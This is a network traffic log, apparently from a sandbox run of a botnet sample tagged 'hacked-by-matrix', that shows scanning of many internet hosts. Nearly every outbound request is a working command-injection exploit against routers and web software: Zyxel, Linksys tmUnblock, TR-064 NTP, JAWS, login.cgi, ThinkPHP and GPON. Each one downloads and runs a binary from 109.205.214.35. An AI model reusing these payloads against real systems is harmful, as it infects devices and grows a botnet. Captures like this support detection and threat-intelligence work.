Mar 21, 2024 05:18:56.146270990 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1381	192.168.2.13	36072	172.67.83.251	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:56.555632114 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1382	192.168.2.13	60932	172.66.136.201	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:56.555742025 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1383	192.168.2.13	42192	99.234.204.16	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:56.594964027 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1384	192.168.2.13	37898	34.120.138.217	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:56.682941914 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1385	192.168.2.13	42244	99.234.204.16	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:56.733022928 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1386	192.168.2.13	37902	34.120.138.217	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:56.790616989 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:57.363902092 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1387	192.168.2.13	51194	172.65.46.227	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:56.792201996 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1388	192.168.2.13	60086	212.55.188.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:56.914633989 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:57.146902084 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:18:57 GMT Date: Thu, 21 Mar 2024 04:18:57 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 66 31 37 33 39 64 35 26 23 34 36 3b 31 37 31 30 39 39 34 37 33 37 26 23 34 36 3b 32 63 32 33 39 36 36 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.af1739d5.1710994737.2c239667</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1389	192.168.2.13	41208	203.246.100.98	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:56.966048956 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:57.917792082 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:58.218658924 CET	453	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_jk/1.2.42 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1390	192.168.2.13	51152	172.65.46.227	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:57.071708918 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1391	192.168.2.13	60136	212.55.188.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:57.135885000 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:57.354815006 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:18:57 GMT Date: Thu, 21 Mar 2024 04:18:57 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 66 31 37 33 39 64 35 26 23 34 36 3b 31 37 31 30 39 39 34 37 33 37 26 23 34 36 3b 32 63 32 33 39 37 39 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.af1739d5.1710994737.2c23979e</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1392	192.168.2.13	54468	43.130.185.2	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:57.606606007 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:57.964878082 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Cont
Mar 21, 2024 05:18:57.964951992 CET	1286	IN	Data Raw: 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 43 36 45 42 34 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 31 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e Data Ascii: background-color: #3C6EB4; font-size: 1.1em; font-weight: bold; color: #fff; margin: 0; padding: 0.5em; border-bottom: 2px solid #294172;
Mar 21, 2024 05:18:57.965178013 CET	1078	IN	Data Raw: 3c 70 3e 53 6f 6d 65 74 68 69 6e 67 20 68 61 73 20 74 72 69 67 67 65 72 65 64 20 6d 69 73 73 69 6e 67 20 77 65 62 70 61 67 65 20 6f 6e 20 79 6f 75 72 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 65 62 73 69 74 65 2e 20 54 68 Data Ascii: <p>Something has triggered missing webpage on your website. This is the default 404 error page for <strong>nginx</strong> that is distributed with Fedora. It is located

Session ID	Source IP	Source Port	Destination IP	Destination Port
1393	192.168.2.13	42670	213.95.183.213	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:57.653405905 CET	207	IN	HTTP/1.1 400 Bad request content-length: 90 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>
Mar 21, 2024 05:18:58.073714018 CET	207	IN	HTTP/1.1 400 Bad request content-length: 90 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1394	192.168.2.13	44236	112.175.62.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:57.659100056 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:59.155822039 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1395	192.168.2.13	53430	209.204.232.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:58.230520010 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1396	192.168.2.13	39414	212.93.111.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:58.976362944 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1397	192.168.2.13	58408	88.238.118.0	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:58.983086109 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:59.891907930 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1398	192.168.2.13	35388	42.38.135.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.010628939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1399	192.168.2.13	60360	2.105.103.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.010651112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1400	192.168.2.13	49196	118.102.204.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.010680914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1401	192.168.2.13	42728	118.223.160.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.010715961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1402	192.168.2.13	48952	42.187.153.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.010761023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1403	192.168.2.13	59672	79.78.96.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.010787010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1404	192.168.2.13	54026	2.208.24.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.010807991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
